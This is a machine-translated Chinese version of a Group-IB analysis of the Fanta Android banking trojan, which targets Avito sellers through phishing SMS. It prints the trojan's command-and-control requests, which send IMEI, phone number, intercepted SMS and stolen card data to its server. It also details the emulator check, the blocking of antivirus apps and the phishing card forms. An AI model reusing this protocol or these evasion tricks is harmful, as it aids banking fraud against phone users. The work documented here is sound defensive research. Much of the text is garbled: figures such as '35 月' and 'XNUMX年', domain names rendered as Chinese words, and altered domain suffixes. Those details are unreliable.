Leysya、Fanta:针对旧 Android 木马的新策略

Leysya、Fanta:针对旧 Android 木马的新策略

有一天,您想在 Avito 上销售某种商品,在发布产品的详细说明(例如 RAM 模块)后,您将收到以下消息:

Leysya、Fanta:针对旧 Android 木马的新策略当您打开链接时,您会看到一个看似无害的页面,通知您(快乐而成功的卖家)您的购买已完成:

Leysya、Fanta:针对旧 Android 木马的新策略
单击“继续”按钮后,APK 文件将下载到您的 Android 设备,并带有图标和可信名称。 您安装了一个应用程序,由于某种原因请求了 AccessibilityService 权限,然后出现了几个窗口,然后很快就消失了……就是这样。

您去检查余额,但由于某种原因,您的银行应用程序再次要求您提供卡详细信息。 输入数据后,一件可怕的事情发生了:由于某种你仍然无法理解的原因,钱开始从你的帐户中消失。 您尝试解决问题,但您的手机却在抵制:它会自行按下返回键和主页键,不会关闭,也不允许您激活任何安全措施。 结果,你没有钱了,你的产品也没有被购买,你很困惑并想知道:发生了什么?

答案很简单:您是 Fanta Android 木马 Flexnet 系列的受害者。 它是怎么发生的? 现在我们来解释一下。

作者: 安德烈·波洛温金,初级恶意代码分析师, 伊万·皮萨列夫,恶意代码分析师。

有人统计

Flexnet 系列 Android 木马于 2015 年首次被报道。 经过相当长的一段时间的活动,这个家族已经扩展到几个亚种:芬达、Limebot、立顿等。 木马以及与之相关的基础设施并没有停滞不前:新的有效分发方案正在开发中 - 在我们的例子中,针对特定用户卖家的高质量网络钓鱼页面,木马开发人员遵循流行趋势病毒编写 - 它们添加了新功能,可以更有效地从受感染的设备中窃取资金并绕过保护机制。

本文描述的活动针对的是俄罗斯用户,乌克兰记录了少量受感染的设备,哈萨克斯坦和白俄罗斯则更少。

尽管 Flexnet 在 Android 木马领域已经存在了 4 年多,并且已经被许多研究人员广泛研究,但它仍然处于良好状态。 从 2019 年 35 月开始,潜在损失金额将超过 2015 万卢布 - 这仅适用于在俄罗斯进行的活动。 XNUMX年,该Android木马的各个版本在地下论坛上出售,您还可以在其中找到该木马的源代码和详细说明。 而这意味着世界范围内的损失统计数据更加可观。 对于这样一个老人来说,身材也不错不是吗?

Leysya、Fanta:针对旧 Android 木马的新策略

从销售到诈骗

从之前发布的Avito互联网服务下的钓鱼页面截图可以看出,它是针对特定受害者而准备的。 显然,攻击者使用 Avito 的解析器之一,提取卖家的电话号码和姓名,以及产品描述。 部署页面并准备 APK 文件后,系统会向受害者发送一条短信,其中包含受害者的姓名和钓鱼页面的链接,其中包含其产品的描述以及从产品“销售”中收到的金额。 通过单击该按钮,用户会收到恶意 APK 文件 - Fanta.

对 shcet491[.]ru 域的研究表明,它被委托给 Hostinger 的 DNS 服务器:

  • ns1.hostinger.ru
  • ns2.hostinger.ru
  • ns3.hostinger.ru
  • ns4.hostinger.ru

域区域文件包含指向 IP 地址 31.220.23[.]236、31.220.23[.]243 和 31.220.23[.]235 的条目。 但是,域主资源记录(A 记录)指向 IP 地址为 178.132.1[.]240 的服务器。

IP地址178.132.1[.]240位于荷兰,属于主机 世界流。 IP地址31.220.23[.]235、31.220.23[.]236和31.220.23[.]243位于英国,属于共享托管服务器HOSTINGER。 用作注册商 俄罗斯开放省。 域名也解析为 IP 地址 178.132.1[.]240:

  • 斯德尔卡鲁[.]ru
  • 产品-av[.]ru
  • av-产品[.]ru
  • 协议[.]en
  • shcet382[.]ru
  • sdelka221[.]en
  • sdelka211[.]en
  • vyplata437[.]ru
  • viplata291[.]en
  • 翻译273[.]en
  • 翻译901[.]en

应该指出的是,几乎所有域都可以使用以下格式的链接:

http://(www.){0,1}<%domain%>/[0-9]{7}

该模板还包含来自短信的链接。 根据历史数据发现,多个符合上述模式的链接对应一个域名,说明利用一个域名将木马分发给多个受害者。

让我们先跳一下:作为控制服务器,从 SMS 链接下载的木马使用该地址 onusedseddohap[.]club。 该域名于2019-03-12注册,从2019-04-29开始,APK应用程序与该域名进行交互。 根据从 VirusTotal 获得的数据,共有 109 个应用程序与该服务器进行了交互。 域名本身被解析为IP地址 217.23.14[.]27,位于荷兰,由主机拥有 世界流。 用作注册商 namecheap。 域名也已解析到该IP地址 坏浣熊[.]俱乐部 (自2018年09月25日起)及 坏浣熊[.]现场 (从2018年10月25日开始)。 带域 坏浣熊[.]俱乐部 与 80 多个 APK 文件进行交互, 坏浣熊[.]现场 - 超过100个。

一般来说,攻击过程如下:

Leysya、Fanta:针对旧 Android 木马的新策略

芬达的盖子下面有什么?

与许多其他 Android 木马一样,Fanta 能够读取和发送 SMS 消息、发出 USSD 请求并在应用程序(包括银行应用程序)顶部显示自己的窗口。 然而,在这个家族的功能库中已经到来:芬达开始使用 无障碍服务 用于各种目的:读取其他应用程序的通知内容、防止检测并停止木马在受感染设备上的执行等。 芬达适用于 4.4 之前的所有 Android 版本。 在本文中,我们将仔细研究以下芬达样品:

  • MD5: 0826bd11b2c130c4c8ac137e395ac2d4
  • SHA1: ac33d38d486ee4859aa21b9aeba5e6e11404bcc8
  • SHA256: df57b7e7ac6913ea5f4daad319e02db1f4a6b243f2ea6500f83060648da6edfb

启动后立即

启动后,木马会立即隐藏其图标。 仅当受感染设备的名称不在列表中时,该应用程序才能运行:

  • 安卓_x86
  • VirtualBox的
  • Nexus 5X(牛头)
  • Nexus 5(剃须刀)

此检查是在主要木马服务中执行的 - 主服务。 在首次启动期间,应用程序的配置参数会使用默认值进行初始化(配置数据存储格式及其含义将在后面讨论),以及在控制服务器上注册新的受感染设备。 HTTP POST 请求将使用消息类型发送到服务器 注册机器人 有关受感染设备的信息(Android 版本、IMEI、电话号码、运营商名称以及运营商注册国家/地区的代码)。 地址用作管理服务器 hXXp://onuseseddohap[.]club/controller.php。 作为响应,服务器发送一条包含字段的消息 机器人id, 机器人密码, 服务器 — 这些值由应用程序保存为 CnC 服务器的参数。 范围 服务器 如果未收到该字段,则可选:芬达使用注册地址 - hXXp://onuseseddohap[.]club/controller.php。 更改CnC地址的功能可以用来解决两个问题:在多个服务器之间均匀分配负载(受感染设备数量较多,未优化的Web服务器上的负载可能很高),以及使用替代方案当其中一台 CnC 服务器出现故障时。

如果发送请求时发生错误,木马将在20秒后重复注册过程。

成功注册设备后,Fanta 将向用户显示以下消息:

Leysya、Fanta:针对旧 Android 木马的新策略
重要提示:一个名为 系统安全 - 木马服务名称,以及点击按钮后 将打开一个包含受感染设备的辅助功能设置的窗口,用户必须自己在其中授予恶意服务的辅助功能:

Leysya、Fanta:针对旧 Android 木马的新策略
一旦用户开启 无障碍服务,Fanta 访问应用程序窗口的内容以及在其中执行的操作:

Leysya、Fanta:针对旧 Android 木马的新策略
获得访问权限后,木马会立即请求管理员权限和阅读通知的权限:

Leysya、Fanta:针对旧 Android 木马的新策略
在 AccessibilityService 的帮助下,应用程序可以模拟击键,从而授予自己所有必要的权限。

Fanta 创建了多个数据库实例(稍后将进行描述),以保存配置数据以及在此过程中收集的有关受感染设备的信息。 为了发送收集到的信息,特洛伊木马会创建一个循环任务,旨在从数据库中卸载字段并接收来自控制服务器的命令。 调用CnC的时间间隔根据Android版本设置:5.1的情况下,时间间隔为10秒,否则为60秒。

为了接收命令,芬达发出请求 获取任务 到控制服务器。 作为响应,CnC 可以发送以下命令之一:

团队 使用说明
0 发送短信
1 拨打电话或发送 USSD 命令
2 更新参数 间隔
3 更新参数 截距
6 更新参数 短信管理器
9 开始收集短信
11 将手机重置为出厂设置
12 启用/禁用对话框创建的日志记录

Fanta 还收集来自 70 个银行、快速支付和电子钱包应用程序的通知,并将其存储在数据库中。

配置参数的存储

为了存储配置参数,Fanta 使用 Android 平台的标准方法 - 优先- 文件。 设置将保存到名为 设置。 保存的参数说明如下表。

名字 默认值 可能的值 使用说明
id 0 整数 机器人ID
服务器 hXXp://onuseseddohap[.]club/ 网址 管理服务器地址
PWD - 服务器密码
间隔 20 整数 时间间隔。 显示延迟以下任务的时间:

  • 发送有关已发送 SMS 消息状态的请求时
  • 从控制服务器接收新命令

截距 所有 全部/电话号码 如果字段等于字符串 所有 или 电话号码,那么收到的 SMS 消息将被应用程序拦截并且不会显示给用户
短信管理器 0 0/1 启用/禁用应用程序作为默认短信收件人
读取对话框 false 真假 启用/禁用事件记录 无障碍事件

芬达也使用该文件 短信管理器:

名字 默认值 可能的值 使用说明
打包 - 使用的短信管理器的名称

数据库交互

该木马在运行过程中使用两个数据库。 命名数据库 a 用于存储从手机收集的各种信息。 第二个数据库名为 芬达数据库 用于保存负责创建旨在收集银行卡信息的网络钓鱼窗口的设置。

木马利用数据库 а 存储收集到的信息并记录他们的行为。 数据存储在表中 日志。 以下 SQL 查询用于创建表:

create table logs ( _id integer primary key autoincrement, d TEXT, f TEXT, p TEXT, m integer)

该数据库包含以下信息:

1. 使用消息登录受感染的设备 手机已开机!

2. 来自应用程序的通知。 该消息根据以下模板形成:

(<%App Name%>)<%Title%>: <%Notification text%>

3.木马创建的钓鱼表单中的银行卡数据。 范围 VIEW_NAME 可以是以下列表之一:

  • 全球速卖通
  • Avito
  • Google Play
  • 其他<%应用程序名称%>

该消息以以下格式记录:

[<%Time in format HH:mm:ss dd.MM.yyyy%>](<%VIEW_NAME%>) Номер карты:<%CARD_NUMBER%>; Дата:<%MONTH%>/<%YEAR%>; CVV: <%CVV%>

4. 传入/传出 SMS 消息的格式:

([<%Time in format HH:mm:ss dd.MM.yyyy%>] Тип: Входящее/Исходящее) <%Mobile number%>:<%SMS-text%>

5. 有关创建对话框的包的信息,格式为:

(<%Package name%>)<%Package information%>

表示例 日志:

Leysya、Fanta:针对旧 Android 木马的新策略
芬达的功能之一就是收集银行卡信息。 通过在打开银行应用程序时创建网络钓鱼窗口来收集数据。 该木马仅创建一次网络钓鱼窗口。 窗口向用户显示的信息存储在表中 设置 在数据库中 芬达数据库。 以下 SQL 查询用于创建数据库:

create table settings (can_login integer, first_bank integer, can_alpha integer, can_avito integer, can_ali integer, can_vtb24 integer, can_telecard integer, can_another integer, can_card integer);

所有表字段 设置 默认初始化为 1(创建网络钓鱼窗口)。 用户输入数据后,该值将设置为 0。 表字段示例 设置:

  • 可以登录 — 该字段负责在打开银行应用程序时显示表单
  • 第一银行 - 不曾用过
  • 可以_avito - 该字段负责在打开 Avito 应用程序时显示表单
  • 可以_阿里 - 该字段负责在打开 Aliexpress 应用程序时显示表单
  • 可以_另一个 - 该字段负责在从列表中打开任何应用程序时显示表单: Yula、Pandao、Drome Auto、钱包。 折扣和奖励卡、Aviasales、Booking、Trivago
  • 可以卡 - 该字段负责在打开时显示表单 Google Play

与控制服务器交互

与控制服务器的网络交互通过 HTTP 协议进行。 Fanta 使用流行的 Retrofit 库来与网络配合使用。 请求发送至 hXXp://onuseseddohap[.]club/controller.php。 在服务器上注册时可以更改服务器地址。 可以从服务器返回cookie。 Fanta向服务器发出以下请求:

  • 首次启动时,控制服务器上的机器人注册会发生一次。 有关受感染设备的以下数据将发送到服务器:
    · Cookies - 从服务器接收的cookie(默认值为空字符串)
    · 模式 - 字符串常量 注册机器人
    · 字首 - 整数常量 2
    · 版本_sdk - 根据以下模板形成: <%Build.MODEL%>/<%Build.VERSION.RELEASE%>(Avit)
    · IMEI — 受感染设备的 IMEI
    · 国家 — 运营商注册国家的代码,采用 ISO 格式
    · - 电话号码
    · 操作者 - 操作员姓名

    发送到服务器的请求示例:

    POST /controller.php HTTP/1.1
    Cookie:
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 144
    Host: onuseseddohap.club
    Connection: close
    Accept-Encoding: gzip, deflate
    User-Agent: okhttp/3.6.0
    
    mode=register_bot&prefix=2&version_sdk=<%VERSION_SDK%>&imei=<%IMEI%>&country=<%COUNTRY_ISO%>&number=<%TEL_NUMBER%>&operator=<%OPERATOR_NAME%>
    

    为了响应请求,服务器应返回包含以下参数的 JSON 对象:
    机器人id — 受感染设备的标识符。 如果bot_id等于0,Fanta将重新执行请求。
    机器人密码 - 服务器的密码。
    服务器 — 控制服务器的地址。 可选参数。 如果不指定该参数,则使用应用程序中保存的地址。

    JSON 对象示例:

    {
        "response":[
       	 {
       		 "bot_id": <%BOT_ID%>,
       		 "bot_pwd": <%BOT_PWD%>,
       		 "server": <%SERVER%>
       	 }
        ],
        "status":"ok"
    }

  • 请求从服务器接收命令。 以下数据被发送到服务器:
    · Cookies — 从服务器接收到的cookie
    · 出价 — 发送请求时收到的受感染设备的 id 注册机器人
    · PWD - 服务器的密码
    · 设备管理 - 该字段判断是否已获得管理员权限。 如果已获得管理员权限,则该字段等于 1除此以外 0
    · 无障碍 - 无障碍服务的状态。 如果服务已启动,则该值为 1除此以外 0
    · 短信管理器 - 显示该木马是否被启用为接收短信​​的默认应用程序
    · 屏幕 — 显示屏幕处于什么状态。 值将被设置 1如果屏幕打开,否则 0;

    发送到服务器的请求示例:

    POST /controller.php HTTP/1.1
    Cookie:
    Content-Type: application/x-www-form-urlencoded
    Host: onuseseddohap.club
    Connection: close
    Accept-Encoding: gzip, deflate
    User-Agent: okhttp/3.6.0
    
    mode=getTask&bid=<%BID%>&pwd=<%PWD%>&divice_admin=<%DEV_ADM%>&Accessibility=<%ACCSBL%>&SMSManager=<%SMSMNG%>&screen=<%SCRN%>

    根据命令的不同,服务器可能会返回具有不同参数的 JSON 对象:

    · 团队 发送短信:参数包含电话号码、短信正文和要发送的短信标识符。 当向服务器发送消息时使用该标识符 设置短信状态.

    {
        "response":
        [
       	 {
       		 "mode": 0,
       		 "sms_number": <%SMS_NUMBER%>,
       		 "sms_text": <%SMS_TEXT%>,
       		 "sms_id": %SMS_ID%
       	 }
        ],
        "status":"ok"
    }

    · 团队 拨打电话或发送 USSD 命令:电话号码或命令出现在响应正文中。

    {
        "response":
        [
       	 {
       		 "mode": 1,
       		 "command": <%TEL_NUMBER%>
       	 }
        ],
        "status":"ok"
    }

    · 团队 更改间隔参数.

    {
        "response":
        [
       	 {
       		 "mode": 2,
       		 "interval": <%SECONDS%>
       	 }
        ],
        "status":"ok"
    }

    · 团队 更改截距参数.

    {
        "response":
        [
       	 {
       		 "mode": 3,
       		 "intercept": "all"/"telNumber"/<%ANY_STRING%>
       	 }
        ],
        "status":"ok"
    }

    · 团队 更改SmsManager字段.

    {
        "response":
        [
       	 {
       		 "mode": 6,
       		 "enable": 0/1
       	 }
        ],
        "status":"ok"
    }

    · 团队 从受感染的设备收集短信.

    {
        "response":
        [
       	 {
       		 "mode": 9
       	 }
        ],
        "status":"ok"
    }

    · 团队 将手机重置为出厂设置:

    {
        "response":
        [
       	 {
       		 "mode": 11
       	 }
        ],
        "status":"ok"
    }

    · 团队 更改读取对话框设置.

    {
        "response":
        [
       	 {
       		 "mode": 12,
       		 "enable": 0/1
       	 }
        ],
        "status":"ok"
    }

  • 发送带有类型的消息 设置短信状态。 该请求是在命令执行后发出的 发送短信。 该请求如下所示:

POST /controller.php HTTP/1.1
Cookie:
Content-Type: application/x-www-form-urlencoded
Host: onuseseddohap.club
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.6.0

mode=setSmsStatus&id=<%ID%>&status_sms=<%PWD%>

  • 提交数据库的内容。 每个请求传输一个字符串。 以下数据被发送到服务器:
    · Cookies — 从服务器接收到的cookie
    · 模式 - 字符串常量 设置保存收件箱短信
    · 出价 — 发送请求时收到的受感染设备的 id 注册机器人
    · 文本 — 当前数据库记录中的文本(字段 d 从表中 日志 在数据库中 а)
    · — 当前数据库记录的名称(字段 p 从表中 日志 在数据库中 а)
    · 短信模式 — 整数值(字段 m 从表中 日志 在数据库中 а)

    该请求如下所示:

    POST /controller.php HTTP/1.1
    Cookie:
    Content-Type: application/x-www-form-urlencoded
    Host: onuseseddohap.club
    Connection: close
    Accept-Encoding: gzip, deflate
    User-Agent: okhttp/3.6.0
    
    mode=setSaveInboxSms&bid=<%APP_ID%>&text=<%a.logs.d%>&number=<%a.logs.p%>&sms_mode=<%a.logs.m%>

    成功提交到服务器后,该行将从表中删除。 服务器返回的 JSON 对象的示例:

    {
        "response":[],
        "status":"ok"
    }

与 AccessibilityService 交互

AccessibilityService 的实现是为了让残障人士更轻松地使用 Android 设备。 在大多数情况下,需要物理交互才能与应用程序交互。 AccessibilityService 允许您以编程方式制作它们。 芬达使用该服务在银行应用程序中创建假窗口,并阻止系统设置和某些应用程序打开。

该特洛伊木马利用 AccessibilityService 的功能来监视受感染设备屏幕上元素的更改。 如前所述,Fanta 设置包含一个负责使用对话框记录操作的参数 - 读取对话框。 如果设置此选项,有关触发事件的包的名称和描述的信息将添加到数据库中。 该木马被触发后会执行以下操作:

  • 在以下情况下模拟后退和主页击键:
    · 如果用户想要重新启动他们的设备
    · 如果用户想要删除“Avito”应用程序或更改访问权限
    · 页面上是否提及“Avito”应用程序
    · 当您打开“Google Play Protect”应用程序时
    · 打开具有 AccessibilityService 设置的页面时
    · 当系统安全对话框出现时
    · 打开设置为“在其他应用程序上绘制”的页面时
    · 当您打开“应用程序”、“备份和重置”、“数据重置”、“重置设置”、“开发者面板”、“规格”页面时。 机会”、“无障碍”、“特殊权利”
    · 如果事件是由某些应用程序生成的。

    应用列表

    • 安卓
    • 大师精简版
    • 清洁大师
    • 适用于 x86 CPU 的 Clean Master
    • 魅族应用权限管理
    • MIUI安全
    • Clean Master - 防病毒、缓存和垃圾清理器
    • 家长控制和 GPS:Kaspersky SafeKids
    • Kaspersky Antivirus AppLock & Web Security Beta
    • 病毒清除、防病毒、清除(MAX Security)
    • 移动防病毒安全 PRO
    • Avast防病毒和免费保护2019
    • 移动安全 MegaFon
    • Xperia 的 AVG 保护
    • 移动安全
    • Malwarebytes防病毒和防护
    • 适用于 Android 2019 的防病毒软件
    • 安全大师 - 防病毒、VPN、AppLock、Booster
    • 适用于平板电脑的 AVG 防病毒软件 华为系统管理器
    • 三星辅助功能
    • 三星智能管家
    • 安全主管
    • 速度助推器
    • 大蜘蛛
    • Dr.Web安全空间
    • Dr.Web移动控制中心
    • Dr.Web安全空间生活
    • Dr.Web移动控制中心
    • 防病毒和移动安全
    • 卡巴斯基安全软件:防病毒和保护
    • 卡巴斯基电池寿命:节电器和助推器
    • Kaspersky Endpoint Security - 保护和管理
    • AVG Antivirus 免费 2019 - 适用于 Android 的保护
    • Android的防病毒
    • 诺顿移动安全和防病毒
    • 防病毒、防火墙、VPN、移动安全
    • 移动安全:防病毒、VPN、防盗
    • 适用于 Android 的防病毒软件

  • 如果在向短号码发送短信时请求许可,芬达会模拟单击复选框 记住选择 和按钮 .
  • 当您尝试从木马中夺走管理员权限时,它会阻止手机屏幕。
  • 防止添加新管理员。
  • 如果防病毒应用程序 网络博士 检测到威胁,芬达模拟按下按钮 忽视.
  • 如果事件是由应用程序生成的,则该木马会模拟按下后退和主页按钮 三星设备保养.
  • 如果启动大约 30 种不同互联网服务列表中的应用程序,Fanta 会创建带有表单的网络钓鱼窗口,用于输入有关银行卡的信息。 其中:速卖通、Booking、Avito、Google Play Market Component、Pandao、Drome Auto 等。

    网络钓鱼形式

    Fanta 分析哪些应用程序在受感染的设备上运行。 如果已打开感兴趣的应用程序,该特洛伊木马会在所有其他窗口之上显示一个网络钓鱼窗口,这是一个用于输入银行卡信息的表单。 用户需要输入以下数据:

    • 卡号
    • 卡到期日
    • CVV
    • 持卡人姓名(并非所有银行)

    根据正在运行的应用程序,将显示不同的网络钓鱼窗口。 以下是其中一些示例:

    速卖通:

    Leysya、Fanta:针对旧 Android 木马的新策略
    阿维托:

    Leysya、Fanta:针对旧 Android 木马的新策略
    对于其他一些应用程序,例如 Google Play 市场、Aviasales、Pandao、Booking、Trivago:
    Leysya、Fanta:针对旧 Android 木马的新策略

    到底是怎样的

    幸运的是,收到文章开头描述的短信的人原来是一名网络安全专家。 因此,真实的非主管版本与之前讲述的版本有所不同:此人收到了一条有趣的短信,然后将其交给了 Group-IB 威胁狩猎情报团队。 攻击的结果就是这篇文章。 美好的结局,对吧? 然而,并不是所有的故事都有如此美好的结局,为了让你的故事看起来不像导演剪辑版那样赔钱,在大多数情况下,遵守以下长期描述的规则就足够了:

    • 请勿从 Google Play 以外的任何来源为您的 Android 移动设备安装应用程序
    • 安装应用程序时,特别注意应用程序请求的权限
    • 注意上传文件的扩展名
    • 定期安装 Android 操作系统更新
    • 不要访问可疑资源,也不要从那里下载文件
    • 请勿点击短信中收到的链接。

来源: habr.com

添加评论